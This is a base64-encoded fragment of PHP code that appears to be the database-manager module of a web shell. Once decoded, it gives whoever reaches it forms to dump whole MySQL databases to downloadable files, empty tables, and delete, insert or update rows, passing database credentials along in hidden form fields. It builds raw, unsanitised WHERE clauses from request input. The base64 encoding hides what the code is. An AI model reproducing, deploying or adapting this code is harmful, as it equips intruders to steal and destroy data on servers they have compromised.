ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5IC49
ICJcbmAiIC4gJHYgLiAiYCAsIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICAgICAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksIDAsIC0xKSAuICI7IjsNCiAg
ICAgICAgICAgICAgICAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIiI7DQogICAgICAg
ICAgICAgICAgICAgIGZvcmVhY2ggKCRib3h0YmwgYXMgJHYpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAi
IC4gJHYgLiAiYCBcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgIGlmIChjb3VudCgkYm94dGJsKSA+IDApDQogICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkbXB0YmxzID0gJGJveHRibDsNCiAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCR0aGlzdGJsKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZG1wdGJscyA9
IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfdGJsDQogICAgICAgICAg
ICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICRzcWxfYWN0ID0gImR1bXAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxjaGVjayIpDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsNCiAgICAgICAgICAg
ICAgICAgICAgZm9yZWFjaCAoJGJveHRibCBhcyAkdikNCiAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiXG5gIiAuICR2IC4gImAgLCI7
DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSA9
IHN1YnN0cigkc3FsX3F1ZXJ5LCAwLCAtMSkgLiAiOyI7DQogICAgICAgICAgICAgICAgICAgICRz
cWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxz
ZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7DQogICAgICAgICAg
ICAgICAgICAgIGZvcmVhY2ggKCRib3h0YmwgYXMgJHYpDQogICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIlxuYCIgLiAkdiAuICJgICwi
Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkg
PSBzdWJzdHIoJHNxbF9xdWVyeSwgMCwgLTEpIC4gIjsiOw0KICAgICAgICAgICAgICAgICAgICAk
c3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVs
c2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpDQogICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7DQogICAgICAgICAgICAg
ICAgICAgIGZvcmVhY2ggKCRib3h0YmwgYXMgJHYpDQogICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIlxuYCIgLiAkdiAuICJgICwiOw0K
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSBz
dWJzdHIoJHNxbF9xdWVyeSwgMCwgLTEpIC4gIjsiOw0KICAgICAgICAgICAgICAgICAgICAkc3Fs
X2FjdCA9ICJxdWVyeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2Vp
ZiAoJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsNCiAgICAgICAgICAgICAg
ICAgICAgZm9yZWFjaCAoJGJveHRibCBhcyAkdikNCiAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiXG5gIiAuICR2IC4gImAgLCI7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSA9IHN1
YnN0cigkc3FsX3F1ZXJ5LCAwLCAtMSkgLiAiOyI7DQogICAgICAgICAgICAgICAgICAgICRzcWxf
YWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlm
ICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICRzcWxfcXVlcnkgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0
eSgkYm94cm93X2FsbCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIiAuICRzcWxfdGJsIC4gImA7IjsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRib3hyb3cg
YXMgJHYpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIiAuICRzcWxfdGJsIC4gImAgV0hF
UkUiIC4gJHYgLiAiIExJTUlUIDE7XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LCAwLCAt
MSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHNxbF9hY3Qg
PSAicXVlcnkiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCRz
cWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkNCiAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGtleXMgPSAiIjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikNCiAgICAgICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5cyAuPSAiYCIgLiBhZGRz
bGFzaGVzKCR2KSAuICJgLCAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgka2V5cykpDQogICAgICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtleXMgPSBzdWJzdHIoJGtleXMsIDAs
IHN0cmxlbigka2V5cykgLSAyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRp
ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3Fs
X3RibF9pbnNlcnQpIGFzICR2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGlmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRh
a2V5c1skaV1dKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgJHZhbHVlcyAuPSAkZnVuY3QgLiAiICgiOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWVzIC49
ICInIiAuIGFkZHNsYXNoZXMoJHYpIC4gIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGlmICgkZnVuY3QpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAkdmFsdWVzIC49ICIpIjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlcyAuPSAiLCAiOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCR2YWx1ZXMpKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZXMg
PSBzdWJzdHIoJHZhbHVlcywgMCwgc3RybGVuKCR2YWx1ZXMpIC0gMik7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VS
VCBJTlRPIGAiIC4gJHNxbF90YmwgLiAiYCAoICIgLiAka2V5cyAuICIgKSBWQUxVRVMgKCAiIC4g
JHZhbHVlcyAuICIgKTsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF9hY3QgPSAicXVl
cnkiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkc3FsX3Ri
bF9pbnNlcnRfcmFkaW8gPT0gMikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCAiLCAi
LCAkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxf
cXVlcnkgPSAiVVBEQVRFIGAiIC4gJHNxbF90YmwgLiAiYCBTRVQgIiAuICRzZXQgLiAiIFdIRVJF
ICIgLiAkc3FsX3RibF9pbnNlcnRfcSAuICIgTElNSVQgMTsiOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50IChteXNxbF9z
bWFydGVycm9yKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2Zl
dGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfdGJsX2Fj
dCA9ICJicm93c2UiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQ0KICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0K
ICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0
KSBhbmQgKCRzcWxfY29uZmlybSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIGlmICghJHNxbF9xdWVyeV9lcnJvcikNCiAgICAgICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5X2Vycm9yID0gIlF1
ZXJ5IHdhcyBlbXB0eSI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iIC4gJHNxbF9xdWVyeV9lcnJvciAu
ICI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAo
JHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKQ0KICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX2FjdCA9ICRzcWxfZ290bzsNCiAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoKCEkc3VibWl0KSBvciAo
JHNxbF9hY3QpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIj48
dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIgLiAkc3FsX3N1cmwgLiAiXCIgbWV0aG9kPVwiUE9TVFwi
PjxiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRz
dWJtaXQpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGVjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlNRTC1RdWVyeSA6IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
IjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJv
d3M9XCIxMFwiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpIC4gIjwvdGV4dGFyZWE+
PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJx
dWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIg
LiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKSAuICJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi
IG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9
XCJzcWxfZ290b1wiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKSAuICJc
Ij48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVz
XCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+
PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCAkYWN0cykpDQogICAgICAg
ICAgICAgICAgeyA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0
cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9y
bSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZh
bHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/
cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRk
ZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygk
c3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZh
bHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw
ZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJz
cWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/
PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8
aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9
IjMwJSIgaGVpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8g
JHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hh
cnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZh
bHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQg
dHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNx
bF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIp
OyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBl
Y2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu
YW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iIC4gZ2V0
ZW52KCJTRVJWRVJfTkFNRSIpIC4gIl8iIC4gJHNxbF9kYiAuICJfIiAuIGRhdGUoImQtbS1ZLUgt
aS1zIikgLiAiLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3Vi
bWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEi
PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9
IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90
cj48L3RhYmxlPjw/cGhwIGlmICghZW1wdHkoJHNxbF9hY3QpKQ0KICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRl
PiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxf
YWN0ID09ICJuZXd0YmwiKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8Yj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChteXNxbF9j
cmVhdGVfZGIoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkNCiAgICAgICAg
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJEQiBc
IiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpIC4gIlwiIGhhcyBiZWVuIGNyZWF0ZWQg
d2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiIC4gaHRtbHNw
ZWNpYWxjaGFycygkc3FsX25ld2RiKSAuICJcIi48YnI+UmVhc29uOjwvYj4gIiAuIG15c3FsX3Nt
YXJ0ZXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRz
dWJtaXQpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRkaXBsYXkgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3Rc
IiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2
YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1
ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlk
ZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9sb2dpbikgLiAiXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwi
IHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpIC4gIlwiPjxpbnB1dCB0
eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lh
bGNoYXJzKCRzcWxfc2VydmVyKSAuICJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJz
cWxfcG9ydFwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KSAuICJcIj48
aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiIC4gaHRtbHNw
ZWNpYWxjaGFycygkc3FsX3RibCkgLiAiXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5
cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIiAuIHVybGVuY29kZSgkc3FsX2Ri
KSAuICJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBqb2lu
KCI7IiwgJGRtcHRibHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPk9u
bHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZu
YnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiIC4gaHRt
bHNwZWNpYWxjaGFycygkdikgLiAiXCIgc2l6ZT1cIiIgLiAoc3RybGVuKCR2KSArIDUpIC4gIlwi
Pjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGR1bXBfZmlsZSkN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICR0bXAgPSAkZHVtcF9maWxlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gaHRtbHNwZWNp
YWxjaGFycygiLi9kdW1wXyIgLiBnZXRlbnYoIlNFUlZFUl9OQU1FIikgLiAiXyIgLiAkc3FsX2Ri
IC4gIl8iIC4gZGF0ZSgiZC1tLVktSC1pLXMiKSAuICIuc3FsIik7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPkZpbGU6
PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFs
dWU9XCIiIC4gJHRtcCAuICJcIiBzaXplPVwiIiAuIChzdHJsZW4oJHRtcCkgKyBzdHJsZW4oJHRt
cCkgJSAzMCkgLiAiXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9
XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNw
OzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZh
bHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8
YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVt
cFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgICAgICAgICAgICAgICAg
